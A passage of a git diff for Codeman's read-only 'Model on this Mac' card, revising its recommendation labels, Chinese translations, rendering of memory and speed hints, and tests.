`noneMacos` | `version`: `HardwareFacts.macosVersion`; `minimum`: the catalogue minimum | * * The word "Recommended" exists only in `headlineTested`, which may be used only when the * pick's `tested` is true. No catalogue row has a tested entry today, so it is never sent. @@ -243,21 +264,33 @@ export const LOCAL_MODEL_LABELS = { headlineOk: 'Best fit for this Mac', /** Verdict `ok`, pick tested by us on a Mac like this one. */ headlineTested: 'Recommended for this Mac', - /** Verdict `limited`. */ + /** Verdict `limited`: no model with 12 billion parameters or more fits this Mac. */ headlineLimited: 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.', /** A note under an `ok` or `limited` pick whose `tested` is false. */ noteUntested: 'Not yet tested by us on a Mac like this.', + /** A note under an `ok` pick that is itself a small model: larger ones fit this Mac, but rank lower or have no room on the disk. */ + noteSmallPick: + 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.', + /** A note when a model that fits the memory was left out because its download would not leave the disk reserve. */ + noteDiskDropped: + '{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.', fitGood: 'Good', fitTight: 'Tight', speedSlow: 'Slow', speedUnknown: 'Speed unknown', noneNotMacos: 'Codeman recommends a local model only on a Mac with Apple silicon.', noneIntel: 'This Mac has an Intel processor. Local coding models need Apple silicon.', + /** Reason `memory`: nothing fits at any context. */ noneMemory: 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', + /** Reason `memory`: a model fits, but only below the context a harness needs. Says both numbers, and that they are an estimate. */ + noneMemoryContext: + 'Codeman estimates that this Mac can give a model about {budget} GB of memory. The smallest model a coding agent can work with needs about {need} GB. That leaves no safe margin, so Codeman recommends none here.', + /** Reason `memory`: the memory size could not be read, so no size is stated. */ + noneMemoryUnknown: 'Codeman could not read how much memory this Mac has, so it recommends no model here.', noneDisk: - 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download and {free} GB is free. Free up about {missing} GB.', + 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download, and {reserve} GB must stay free after it. {free} GB is free now. Free up about {missing} GB.', noneMacos: 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.', noneNoHarness: 'No coding agent that Codeman can connect to a local model is available on this Mac.', } as const; @@ -265,7 +298,7 @@ export const LOCAL_MODEL_LABELS = { /** One of the texts in `LOCAL_MODEL_LABELS`. The payload's label fields are typed with it, so an off-list string does not compile. */ export type LocalModelLabel = (typeof LOCAL_MODEL_LABELS)[keyof typeof LOCAL_MODEL_LABELS]; -/** The headline of each `none` reason. */ +/** The headline of each `none` reason. `memory` has two more (`noneMemoryContext`, `noneMemoryUnknown`), see `NoneReason`. */ export const LOCAL_MODEL_NONE_LABELS: Record = { 'not-macos': LOCAL_MODEL_LABELS.noneNotMacos, intel: LOCAL_MODEL_LABELS.noneIntel, @@ -317,7 +350,7 @@ export interface Candidate { speed: SpeedGrade; /** `speedSlow` or `speedUnknown`. Absent when `speed` is `ok`. */ speedLabel?: LocalModelLabel; - /** Estimated generation speed. Present exactly when `speed` is not `unknown`. */ + /** Estimated generation speed, rounded to one decimal. Present exactly when `speed` is not `unknown`. `speed` is decided on the unrounded figure. */ tokensPerSecond?: number; /** A `TestedOn` entry of the model matches this Mac (same chip, same `memClassGb`) and this harness. */ tested: boolean; @@ -325,22 +358,25 @@ export interface Candidate { /** * The answer of `recommend()`. - * - `ok`: `pick` is the best candidate and its model has at least 12 billion parameters. - * - `limited`: `pick` is the best candidate, but its model has fewer than 12 billion parameters. - * The card says so and never says "Recommended". + * - `ok`: `pick` is the best candidate, and at least one model with 12 billion parameters or + * more fits this Mac's memory at a context a usable harness works at. The pick itself can be + * smaller (a larger model may fit only tightly, have no speed figure, or have no room on the + * disk): `notes` then carries `noteSmallPick`. + * - `limited`: `pick` is the best candidate, and NO model with 12 billion parameters or more + * fits. The card says so and never says "Recommended". * - `none`: no pick; `reason` says why. */ export interface Recommendation { verdict: 'ok' | 'limited' | 'none'; /** Present exactly when `verdict` is `none`. */ reason?: NoneReason; - /** What the card says first: `headlineOk`, `headlineTested`, `headlineLimited` or the `none` reason's sentence. */ + /** What the card says first: `headlineOk`, `headlineTested`, `headlineLimited` or a `none` sentence. */ headline: LocalModelMessage; - /** Further sentences under the headline (`noteUntested` today). May be empty. */ + /** Further sentences under the pick, in this order: `noteSmallPick`, `noteDiskDropped`, `noteUntested`. May be empty. */ notes: LocalModelMessage[]; /** Present exactly when `verdict` is `ok` or `limited`. */ pick?: Candidate; - /** The next models that fit (at most four, each at its best context and harness), best first. Empty when `verdict` is `none`. */ + /** The next models that fit and have room on the disk (at most four, each at its best context and harness), best first. Empty when `verdict` is `none`. */ alternatives: Candidate[]; /** `DeviceBudget.budgetBytes`. 0 when no budget is computed: not macOS, or a Mac without Apple silicon. */ budgetBytes: number; diff --git a/src/web/public/i18n.js b/src/web/public/i18n.js index c9ab61a5..87c18651 100644 --- a/src/web/public/i18n.js +++ b/src/web/public/i18n.js @@ -1412,10 +1412,11 @@ 'Model on this Mac': '此 Mac 上的模型', 'What the Mac that Codeman runs on can run as a local coding model. Read-only: nothing is downloaded or installed from here.': '运行 {name} 的这台 Mac 可以运行哪种本地编程模型。只读:此处不会下载或安装任何内容。', + 'The Mac that Codeman runs on, which is not always the device you are reading on.': + '指运行 {name} 的那台 Mac,不一定是你正在使用的这台设备。', Hide: '隐藏', 'Hide this card on this device. It stays in App Settings, under Models.': '在此设备上隐藏此卡片。它仍保留在“应用设置”的“模型”中。', - 'Checking this Mac…': '正在检查此 Mac…', '{chip}, {memory} GB memory, {free} GB free': '{chip},内存 {memory} GB,可用磁盘空间 {free} GB', '{chip}, {memory} GB memory': '{chip},内存 {memory} GB', '{memory} GB memory, {free} GB free': '内存 {memory} GB,可用磁盘空间 {free} GB', @@ -1431,9 +1432,14 @@ 'About {speed} tokens per second (estimated).': '每秒约 {speed} 个 Token(估算)。', '{harness} is not installed on this Mac yet.': '此 Mac 上尚未安装 {harness}。', 'With {harness}, the first answer can take minutes.': '使用 {harness} 时,第一次回答可能需要几分钟。', - 'Other models that fit': '其他适合的模型', - 'Setting this up from Codeman is the next step. It is not built yet.': - '下一步是直接在 {name} 中完成安装和设置,该功能尚未实现。', + 'about {speed} tokens per second': '每秒约 {speed} 个 Token', + // What the fit and speed labels measure (their tooltip and accessible name). + 'Memory fit: needs {share}% of what this Mac can give a model': + '内存占用:需要此 Mac 可分配给模型的内存的 {share}%', + 'No speed estimate for this model on this chip': '此芯片上没有该模型的速度估算', + 'Other models that fit': '其他装得下的模型', + 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.': + '{name} 目前还不能为你下载或安装它。这是下一步的功能,尚未实现。', // The sentences and labels the SERVER picks (LOCAL_MODEL_LABELS in src/types/local-model.ts), keyed // by their exact English text: changing a text there means changing its key here. 'Best fit for this Mac': '最适合此 Mac 的选择', @@ -1441,8 +1447,12 @@ 'This Mac can run a small model. It handles small edits and questions. It does not replace a cloud model.': '此 Mac 可以运行小型模型。它能处理小幅修改和问答,但不能替代云端模型。', 'Not yet tested by us on a Mac like this.': '我们尚未在类似的 Mac 上测试过。', + 'The best fit is a small model. It handles small edits and questions. It does not replace a cloud model.': + '最适合的是一个小型模型。它能处理小幅修改和问答,但不能替代云端模型。', + '{model} fits the memory of this Mac too, but its download needs about {missing} GB more free disk space.': + '{model} 也能装入此 Mac 的内存,但下载它还需要再腾出约 {missing} GB 的可用磁盘空间。', Good: '良好', - Tight: '紧张', + Tight: '偏紧', Slow: '较慢', 'Speed unknown': '速度未知', 'Codeman recommends a local model only on a Mac with Apple silicon.': @@ -1451,8 +1461,12 @@ '此 Mac 使用 Intel 处理器。本地编程模型需要 Apple 芯片。', 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.': '此 Mac 有 {memory} GB 内存,不足以运行能够驱动编程智能体的模型,因此 {name} 在此不推荐任何模型。', - 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download and {free} GB is free. Free up about {missing} GB.': - '可用磁盘空间不足。适合此 Mac 的最小模型需要下载 {download} GB,而当前可用空间为 {free} GB。请腾出约 {missing} GB。', + 'Codeman estimates that this Mac can give a model about {budget} GB of memory. The smallest model a coding agent can work with needs about {need} GB. That leaves no safe margin, so Codeman recommends none here.': + '据 {name} 估算,此 Mac 可分配给模型的内存约为 {budget} GB。编程智能体能够使用的最小模型约需 {need} GB。这样没有留出安全余量,因此 {name} 在此不推荐任何模型。', + 'Codeman could not read how much memory this Mac has, so it recommends no model here.': + '{name} 无法读取此 Mac 的内存大小,因此在此不推荐任何模型。', + 'Not enough free disk space. The smallest model that fits this Mac is a {download} GB download, and {reserve} GB must stay free after it. {free} GB is free now. Free up about {missing} GB.': + '可用磁盘空间不足。适合此 Mac 的最小模型需要下载 {download} GB,下载后还必须保留 {reserve} GB 的可用空间。当前可用空间为 {free} GB。请腾出约 {missing} GB。', 'This Mac runs macOS {version}. Local models need macOS {minimum} or newer.': '此 Mac 运行的是 macOS {version}。本地模型需要 macOS {minimum} 或更高版本。', 'No coding agent that Codeman can connect to a local model is available on this Mac.': diff --git a/src/web/public/index.html b/src/web/public/index.html index 78211715..8026b7ce 100644 --- a/src/web/public/index.html +++ b/src/web/public/index.html @@ -2879,9 +2879,11 @@ + on the row's text). The module shows the group only once the server has + answered for a Mac: it hides it for a server on another system (the title + and hint are about "this Mac"), while the first request is in flight, and + for a non-admin in multi-user mode (the route is admin-only). Not gated on + the endpoints toggle above: the answer does not depend on it. -->

Model on this Mac

What the Mac that Codeman runs on can run as a local coding model. Read-only: nothing is downloaded or installed from here.

diff --git a/src/web/public/local-model-ui.js b/src/web/public/local-model-ui.js index ab4a353b..92c02af0 100644 --- a/src/web/public/local-model-ui.js +++ b/src/web/public/local-model-ui.js @@ -4,11 +4,13 @@ * Reads `GET /api/local-model` (hardware of the machine the server runs on, the recommendation, * the catalogue date) and shows, read-only: * - the hardware line (chip, memory, free disk); - * - the verdict: the headline and notes the server sent, then the pick with its numbers - * (model, harness, context, memory need against the budget, download size, speed); - * - the other models that fit, each with its fit and speed label; - * - one line saying that setting the model up from Codeman is the next step and is not built - * yet. + * - the verdict: the headline the server sent, then the pick with its numbers (model, harness, + * context, memory need against the budget, download size, speed) and the notes; + * - one line saying that Codeman cannot download or install the model yet: that is the next + * step and is not built. It sits right under the pick, where a reader looks for a button; + * - the other models that fit, each with its fit and speed label. A label says what it + * measures in its tooltip and accessible name ("Good" is the memory fit, not a rating of + * the model), and an alternative with a speed estimate prints the figure. * * ## One body, two containers * @@ -23,9 +25,18 @@ * hidden while the first request is in flight and after a failed one (nothing is known about the * machine then, and an error card would be the only thing this feature ever showed on a server * that is not a Mac), when the answer is `not-macos`, when the request is refused (a non-admin in - * multi-user mode gets a 403, which is an answer: stop asking) and after the user hid it on this - * device. The Settings row is where the loading and failure sentences show, and it is the way - * back to the numbers after a Hide. + * multi-user mode gets a `403 FORBIDDEN`, which is an answer: stop asking) and after the user hid + * it on this device. + * + * The Settings group ("Model on this Mac") follows the same knowledge: it is hidden for + * `not-macos` (most servers are not a Mac, and a group about "this Mac" there is false), for a + * refused request and while the first request is in flight (nothing says yet that the server is + * a Mac). It shows the answer for a Mac, and one failure sentence when the first request + * failed. It is the way back to the numbers after a Hide. + * + * "Refused" means the envelope's `errorCode` is `FORBIDDEN`. The auth layer has a second 403 for + * every /api route (`PASSWORD_CHANGE_REQUIRED`, an admin who must change the password first): + * that one is a failed request, asked again on the next show and on `codeman:me`. * * Rules: * - Read-only: no control here downloads, installs or writes anything but the per-device @@ -36,8 +47,10 @@ * (`` is written by every i18n `configure()`). * - Names and labels come from the payload: this file holds no list of models or harnesses and * never compares a CLI id with a literal. - * - Sizes are printed exactly as sent (`needGb`, `downloadGb`, `budgetGb`, `memGb`, - * `freeDiskGb`: decimal GB as text). Bytes are never divided here. + * - Sizes are printed exactly as sent (`needGb`, `downloadGb`, `budgetGb`, `freeDiskGb`: + * decimal GB as text). Bytes are never divided here. The installed memory is the one size + * that is not decimal GB: the hardware line prints `memClassGb`, the size the Mac is sold as + * (48, not 51.5), which is what About This Mac shows. * - A sentence the server chose arrives as `{ text, vars }` and goes through * `localModelT(text, vars)`; this file's own strings are literals in that same call, in * `{placeholder}` form, so the i18n test can harvest them. Both kinds need a zh-CN entry in @@ -52,8 +65,12 @@ * @loadorder 12.59 of 16, after edit-history-ui.js, before entrance-animations.js */ -/** Per-device dismissal of the welcome card. */ -const LOCAL_MODEL_DISMISS_KEY = 'codeman:local-model-dismissed'; +/** + * Per-device dismissal of the welcome card, named for THIS stage (the read-only card). The stage + * that can set a model up takes a key of its own, so hiding a card that offers nothing yet does + * not hide the offer later. + */ +const LOCAL_MODEL_DISMISS_KEY = 'codeman:local-model-dismissed:readonly'; /** The server caches its hardware probe for a minute, so asking again sooner cannot change the answer. */ const LOCAL_MODEL_MAX_AGE_MS = 60000; @@ -100,18 +117,41 @@ function localModelNotAdmin() { return !!(me.multiUser && me.role !== 'admin'); } -/** Chip, memory and free disk in one line. Every part but the memory may be missing. */ +/** + * Chip, memory and free disk in one line. The memory is the size the Mac is sold as + * (`memClassGb`: 48 for a Mac whose 48 x 2^30 bytes are 51.5 decimal GB), a number or nothing: + * an unknown size (0) is left out, never printed. + */ function localModelHardwareLine(hw) { const chip = String(hw.chip || hw.model || ''); - const sizes = { chip, memory: hw.memGb, free: hw.freeDiskGb }; - if (!hw.memGb) return chip; + const memory = Number.isFinite(hw.memClassGb) && hw.memClassGb > 0 ? String(hw.memClassGb) : ''; + const sizes = { chip, memory, free: hw.freeDiskGb }; + if (!memory) return chip; if (chip && hw.freeDiskGb) return localModelT('{chip}, {memory} GB memory, {free} GB free', sizes); if (chip) return localModelT('{chip}, {memory} GB memory', sizes); if (hw.freeDiskGb) return localModelT('{memory} GB memory, {free} GB free', sizes); return localModelT('{memory} GB memory', sizes); } -/** "Qwen3.8 27B (qwen3.8:27b) with OpenCode", then the fit and speed labels the server chose. */ +/** What the fit label measures: the share of the memory budget the model needs. */ +function localModelFitHint(candidate) { + if (!Number.isFinite(candidate.budgetShare)) return ''; + const share = String(Math.round(candidate.budgetShare * 100)); + return localModelT('Memory fit: needs {share}% of what this Mac can give a model', { share }); +} + +/** What the speed label stands for: the estimate behind "Slow", or that there is none. */ +function localModelSpeedHint(candidate) { + const speed = localModelSpeed(candidate.tokensPerSecond); + if (speed) return localModelT('About {speed} tokens per second (estimated).', { speed }); + return localModelT('No speed estimate for this model on this chip'); +} + +/** + * "Qwen3.8 27B (qwen3.8:27b) with OpenCode", then the fit and speed labels the server chose. + * A bare "Good" next to a model name reads as a rating of the model, so each label carries what + * it measures as its tooltip and its accessible name. + */ function localModelCandidateHead(candidate) { const head = localModelEl('div', 'local-model-name-row'); const name = localModelT('{model} ({id}) with {harness}', { @@ -120,19 +160,36 @@ function localModelCandidateHead(candidate) { harness: candidate.cliLabel || candidate.cli, }); head.appendChild(localModelEl('span', 'local-model-name', name)); - for (const label of [candidate.fitLabel, candidate.speedLabel]) { + const pills = [ + [candidate.fitLabel, localModelFitHint], + [candidate.speedLabel, localModelSpeedHint], + ]; + for (const [label, hint] of pills) { if (typeof label !== 'string' || !label) continue; - head.appendChild(localModelEl('span', 'local-model-pill', localModelT(label))); + const pill = localModelEl('span', 'local-model-pill', localModelT(label)); + const meaning = hint(candidate); + if (meaning) { + pill.title = meaning; + pill.setAttribute('role', 'note'); + pill.setAttribute('aria-label', `${pill.textContent}. ${meaning}`); + } + head.appendChild(pill); } return head; } -/** The dim line under a candidate's name: context, memory need (alternatives), download, license (the pick). */ -function localModelMeta(candidate, { need = false, license = false } = {}) { +/** + * The dim line under a candidate's name: context, then for an alternative its memory need and, + * when there is an estimate, its speed (so "Slow" comes with a number on a screen without + * hover), the download, and for the pick the license. + */ +function localModelMeta(candidate, { alternative = false } = {}) { const bits = [localModelT('Context {context} tokens', { context: localModelCount(candidate.context) })]; - if (need && candidate.needGb) bits.push(localModelT('{need} GB of memory', { need: candidate.needGb })); + if (alternative && candidate.needGb) bits.push(localModelT('{need} GB of memory', { need: candidate.needGb })); if (candidate.downloadGb) bits.push(localModelT('{download} GB download', { download: candidate.downloadGb })); - if (license && candidate.license) bits.push(String(candidate.license)); + const speed = alternative ? localModelSpeed(candidate.tokensPerSecond) : ''; + if (speed) bits.push(localModelT('about {speed} tokens per second', { speed })); + if (!alternative && candidate.license) bits.push(String(candidate.license)); return bits.join(' · '); } @@ -140,7 +197,7 @@ function localModelMeta(candidate, { need = false, license = false } = {}) { function localModelPick(pick, recommendation) { const box = localModelEl('div', 'local-model-pick'); box.appendChild(localModelCandidateHead(pick)); - box.appendChild(localModelEl('div', 'local-model-line', localModelMeta(pick, { license: true }))); + box.appendChild(localModelEl('div', 'local-model-line', localModelMeta(pick))); const sizes = { need: pick.needGb, budget: recommendation.budgetGb }; // A wired limit is a setting of this Mac; anything else is the formula's estimate, and says so. const need = @@ -165,17 +222,19 @@ function localModelPick(pick, recommendation) { return box; } -/** The other models that fit. Folded behind a native disclosure on the welcome card, open in Settings. */ +/** + * The other models that fit. Folded behind a native disclosure on the welcome card, open in + * Settings. No count beside the title: the server lists four at most, so the number of rows is + * not the number of models that fit. + */ function localModelAlternatives(alternatives, fold) { const wrap = localModelEl(fold ? 'details' : 'div', 'local-model-alts'); - const title = localModelEl(fold ? 'summary' : 'div', 'local-model-alts-title'); - title.appendChild(localModelEl('span', '', localModelT('Other models that fit'))); - title.appendChild(localModelEl('span', 'local-model-count', String(alternatives.length))); + const title = localModelEl(fold ? 'summary' : 'div', 'local-model-alts-title', localModelT('Other models that fit')); wrap.appendChild(title); for (const candidate of alternatives) { const row = localModelEl('div', 'local-model-alt'); row.appendChild(localModelCandidateHead(candidate)); - row.appendChild(localModelEl('div', 'local-model-line', localModelMeta(candidate, { need: true }))); + row.appendChild(localModelEl('div', 'local-model-line', localModelMeta(candidate, { alternative: true }))); wrap.appendChild(row); } return wrap; @@ -200,12 +259,16 @@ function localModelBody(status, { fold }) { const text = localModelMessage(note); if (text) body.appendChild(localModelEl('div', 'local-model-note', text)); } - const alternatives = pick && Array.isArray(recommendation.alternatives) ? recommendation.alternatives : []; - if (alternatives.length) body.appendChild(localModelAlternatives(alternatives, fold)); + // Right under the pick and its notes, above the list: the pick names a download and maybe a + // harness that is not installed, so this is where a reader looks for a button. if (pick) { - const next = localModelT('Setting this up from Codeman is the next step. It is not built yet.'); + const next = localModelT( + 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.' + ); body.appendChild(localModelEl('div', 'local-model-next', next)); } + const alternatives = pick && Array.isArray(recommendation.alternatives) ? recommendation.alternatives : []; + if (alternatives.length) body.appendChild(localModelAlternatives(alternatives, fold)); return body; } @@ -249,24 +312,27 @@ Object.assign(CodemanApp.prototype, { }, async _fetchLocalModel() { - // `_api`, not `_apiJson`: a 403 (admin-only in multi-user mode) is an answer and must be told - // apart from a request that failed. + // `_api`, not `_apiJson`: a refusal (admin-only in multi-user mode) is an answer and must be + // told apart from a request that failed. const res = await this._api(localModelUrl('/api/local-model')); - if (res?.status === 403) { - this._localModelState = 'refused'; - this._localModelStatus = null; - this.renderLocalModel(); - return; - } let body = null; - if (res?.ok) { + if (res?.ok || res?.status === 403) { try { body = await res.json(); } catch { body = null; } } - const data = localModelPayload(body); + // Only the route's own refusal is final. The auth layer answers 403 too, with + // PASSWORD_CHANGE_REQUIRED, for an admin who must change the password first: that is a + // failed request, asked again once the password is changed. + if (res?.status === 403 && body?.errorCode === 'FORBIDDEN') { + this._localModelState = 'refused'; + this._localModelStatus = null; + this.renderLocalModel(); + return; + } + const data = res?.ok ? localModelPayload(body) : null; if (!data) { // A failed refresh must not blank an answer the user is reading: keep the last good one. if (!this._localModelStatus) this._localModelState = 'failed'; @@ -336,6 +402,8 @@ Object.assign(CodemanApp.prototype, { const head = localModelEl('div', 'local-model-head'); const title = localModelEl('h3', 'local-model-title', localModelT('Model on this Mac')); title.id = 'localModelCardTitle'; + // The page can be open on another laptop or a tablet: "this Mac" is the server's. + title.title = localModelT('The Mac that Codeman runs on, which is not always the device you are reading on.'); head.appendChild(title); const hide = localModelEl('button', 'local-model-hide', localModelT('Hide')); hide.type = 'button'; @@ -353,21 +421,20 @@ Object.assign(CodemanApp.prototype, { _renderLocalModelSettings(row) { row.textContent = ''; - const refused = this._localModelRefused(); - // The whole group goes for a non-admin, the way the other admin-only groups of this modal do. - const group = document.getElementById('localModelGroup'); - if (group) group.style.display = refused ? 'none' : ''; - if (refused) return; const status = this._localModelStatus; + const failed = !status && this._localModelState === 'failed'; + // The whole group goes for a non-admin, the way the other admin-only groups of this modal + // do, and for a server that is not a Mac: its title and hint are about "this Mac". Until + // the first answer nothing says the server is one, so the group waits for it. + const shown = !this._localModelRefused() && (failed || (!!status && status.recommendation.reason !== 'not-macos')); + const group = document.getElementById('localModelGroup'); + if (group) group.style.display = shown ? '' : 'none'; + if (!shown) return; if (status) { row.appendChild(localModelBody(status, { fold: false })); return; } - const text = - this._localModelState === 'failed' - ? localModelT('Could not reach the server.') - : localModelT('Checking this Mac…'); - row.appendChild(localModelEl('div', 'local-model-headline', text)); + row.appendChild(localModelEl('div', 'local-model-headline', localModelT('Could not reach the server.'))); }, /** Listeners that outlive a render, wired once. */ diff --git a/src/web/public/styles.css b/src/web/public/styles.css index f34cd700..ba9ac133 100644 --- a/src/web/public/styles.css +++ b/src/web/public/styles.css @@ -22376,9 +22376,13 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til min-width: 0; } +/* The line that says nothing can be set up from here yet (.local-model-next) is + the one a reader must not miss, so it reads like every other line: same size, + same --text-dim. --text-muted on this surface was 3.9:1. */ .local-model-hw, .local-model-line, -.local-model-note { +.local-model-note, +.local-model-next { font-size: 0.68rem; line-height: 1.45; color: var(--text-dim); @@ -22418,8 +22422,8 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til min-width: 0; } -.local-model-pill, -.local-model-count { +/* Each pill carries what it measures as its tooltip (a title), hence the cursor. */ +.local-model-pill { flex: 0 0 auto; font-size: 0.62rem; line-height: 1.5; @@ -22428,12 +22432,7 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til border-radius: 999px; padding: 0 0.42rem; white-space: nowrap; -} - -.local-model-count { - margin-inline-start: 0.4rem; - border-color: transparent; - background: var(--control-bg-hover); + cursor: help; } .local-model-alts-title { @@ -22466,12 +22465,6 @@ html[data-tile-anim="soft"] .tile-grid-ghosts.tile-grid-ghosts--release:not(.til font-weight: 500; } -.local-model-next { - font-size: 0.66rem; - line-height: 1.45; - color: var(--text-muted); -} - /* In App Settings the body sits inside an ordinary .set-row, so it takes that surface's type scale (label 0.76rem over a muted description) and the row supplies the border. */ diff --git a/test/local-model-i18n.test.ts b/test/local-model-i18n.test.ts index cbcb514f..691bff17 100644 --- a/test/local-model-i18n.test.ts +++ b/test/local-model-i18n.test.ts @@ -89,9 +89,14 @@ describe('the local model strings in zh-CN', () => { expect(FROM_MODULE).toContain('Model on this Mac'); expect(FROM_MODULE).toContain('{model} ({id}) with {harness}'); expect(FROM_MODULE).toContain('Needs about {need} GB of the {budget} GB this Mac can give a model (estimated).'); - expect(FROM_MODULE).toContain('Setting this up from Codeman is the next step. It is not built yet.'); - expect(FROM_MODULE).toContain('Checking this Mac…'); - expect(FROM_MODULE.length).toBeGreaterThanOrEqual(18); + expect(FROM_MODULE).toContain( + 'Codeman cannot download or install this for you yet. That is the next step, and it is not built yet.' + ); + // What the fit and speed labels measure, and the speed of an alternative. + expect(FROM_MODULE).toContain('Memory fit: needs {share}% of what this Mac can give a model'); + expect(FROM_MODULE).toContain('No speed estimate for this model on this chip'); + expect(FROM_MODULE).toContain('about {speed} tokens per second'); + expect(FROM_MODULE.length).toBeGreaterThanOrEqual(20); // The only other way the module calls its translator is with payload text (a server // sentence or label), so no string of its own can reach the page unharvested. const code = MODULE.split('\n') @@ -107,10 +112,16 @@ describe('the local model strings in zh-CN', () => { it('lists every server label, the none reasons included', () => { // A label added to the contract later fails below by its text, not here by a count. - expect(FROM_SERVER.length).toBeGreaterThanOrEqual(14); + expect(FROM_SERVER.length).toBeGreaterThanOrEqual(18); for (const text of Object.values(LOCAL_MODEL_NONE_LABELS)) expect(FROM_SERVER).toContain(text); expect(FROM_SERVER).toContain('Best fit for this Mac'); expect(FROM_SERVER).toContain('Speed unknown'); + // The two other sentences of the `memory` reason and the two notes are not in the + // reason map, so they are named here. + expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryContext); + expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noneMemoryUnknown); + expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteSmallPick); + expect(FROM_SERVER).toContain(LOCAL_MODEL_LABELS.noteDiskDropped); }); it('never uses the translator slot {name} for a value of its own', () => { diff --git a/test/local-model-recommend.test.ts b/test/local-model-recommend.test.ts index 86a2c327..bf22dc8b 100644 --- a/test/local-model-recommend.test.ts +++ b/test/local-model-recommend.test.ts @@ -10,9 +10,11 @@ * parser: the MacBook Pro (M5 Pro, 48 GB) and the Mac mini (M4, 16 GB). Each test states the * expected answer and why. * 3. Every reason for verdict `none`, one fixture per reason, and their order. - * 4. The `limited` verdict, the three-state speed in the ranking, harness rows (a gated one is - * never chosen), the `tested` flag that alone may turn on the word "Recommended", and the - * shape of the answer (labels from the fixed list, sizes in one unit). + * 4. The `limited` verdict (a statement about the Mac, not about the pick), the notes that say + * what the headline cannot (a small pick, a model left out for disk space), the three-state + * speed in the ranking, harness rows (a gated one is never chosen), the `tested` flag that + * alone may turn on the word "Recommended", and the shape of the answer (labels from the + * fixed list, sizes in one unit). * * The stock catalogue is used wherever the answer for a real Mac is at stake. Small synthetic * catalogues (validated by the real schema) isolate one rule of the ranking at a time. @@ -463,13 +465,17 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { /** - * Expected: no recommendation, reason `memory`. + * Expected: no recommendation, reason `memory`, in the sentence that names both numbers. * * Why. The budget is 9.67 GiB (2/3 of 16 GiB minus 1). The only model near it is the 9B. Both * harnesses that may be offered need 65,536 tokens of context, and there the 9B needs * 6.10 GiB of weights + 2 GiB of KV cache + 1 GiB + 0.5 GiB of prompt cache = 9.60 GiB, which * is 0.993 of the budget: above the 0.98 where "tight" ends. At 32,768 tokens it would fit * (0.890, tight), but the one harness that works at that context is gated. + * + * The miss is 1.3 points on an ESTIMATED budget, so the sentence is not "too little memory" + * (what an 8 GB Mac is told): it says the budget (10.4 GB), the need (10.3 GB) and that + * Codeman estimates. */ it('gets no recommendation: nothing fits at the context a harness needs', async () => { const hw = await realMac(MACMINI_SYSCTL, 41_752_848); @@ -482,8 +488,9 @@ describe('the Mac mini (Mac16,10: Apple M4, 16 GB)', () => { verdict: 'none', reason: 'memory', headline: { - text: 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.', - vars: { memory: '17.2' }, + text: 'Codeman estimates that this Mac can give a model about {budget} GB of memory. The smallest model a coding agent can work with needs about {need} GB. That leaves no safe margin, so Codeman recommends none here.', + // floor(17,179,869,184 x 2/3) - 1 GiB, and the 9B at 65536 tokens: 10,308,921,757 bytes. + vars: { budget: '10.4', need: '10.3' }, }, notes: [], alternatives: [], @@ -556,12 +563,13 @@ describe('every memory size, with the stock catalogue', () => { // gpt-oss:20b at 65536 tokens needs 15.8 GiB of the 15 GiB budget: out. [24, 'Apple M4', 'limited qwen3.5:9b@65536 good ok'], // gpt-oss:20b fits only as Tight here (0.853 at 65536 tokens, 0.927 at 131072), and Good - // ranks before Tight. The Q8 9B is Good but slow on a base M4 (7 tokens per second). - [32, 'Apple M4', 'limited qwen3.5:9b@65536 good ok'], - [32, 'Apple M1 Max', 'limited qwen3.5:9b-q8_0@65536 good ok'], + // ranks before Tight. The Q8 9B is Good but slow on a base M4 (7 tokens per second). The + // pick is a 9B, the verdict is `ok` all the same: a 20B fits this Mac. + [32, 'Apple M4', 'ok qwen3.5:9b@65536 good ok'], + [32, 'Apple M1 Max', 'ok qwen3.5:9b-q8_0@65536 good ok'], // The 27B (0.905) and the 35B-A3B (0.974) are Tight; gpt-oss:20b is Good but has no speed // figure, and a known speed ranks before an unknown one. - [36, 'Apple M4 Max', 'limited qwen3.5:9b-q8_0@65536 good ok'], + [36, 'Apple M4 Max', 'ok qwen3.5:9b-q8_0@65536 good ok'], // On a Pro chip the dense 27B is slow (8.1 tokens per second), the 35B-A3B is not. [48, 'Apple M4 Pro', 'ok qwen3.6:35b-a3b@131072 good ok'], [48, 'Apple M4 Max', 'ok qwen3.8:27b@131072 good ok'], @@ -712,18 +720,60 @@ describe('verdict none', () => { describe('memory', () => { it('answers so at 8 GB, where nothing fits at any context', () => { const result = recommend(mac(8, 'Apple M2'), STOCK, ALL_INSTALLED); - expectNone(result, 'memory', LOCAL_MODEL_LABELS.noneMemory); - // The size is the decimal figure of the hardware line, without the unit. - expect(result.headline.vars).toEqual({ memory: '8.6' }); + expectNone( + result, + 'memory', + 'This Mac has {memory} GB of memory. That is too little to run a model that can drive a coding agent, so Codeman recommends none here.' + ); + expect(result.headline.text).toBe(LOCAL_MODEL_LABELS.noneMemory); + // The size the Mac is sold as (what About This Mac shows), not 8 x 2^30 bytes as 8.6 decimal GB. + expect(result.headline.vars).toEqual({ memory: '8' }); expect(result.budgetBytes).toBe(2 * GIB); + // Every computed size stays decimal GB. expect(result.budgetGb).toBe('2.1'); }); - it('answers so when models fit, but only below the context a harness needs', () => { + it('names the installed memory as the Mac is sold, for every 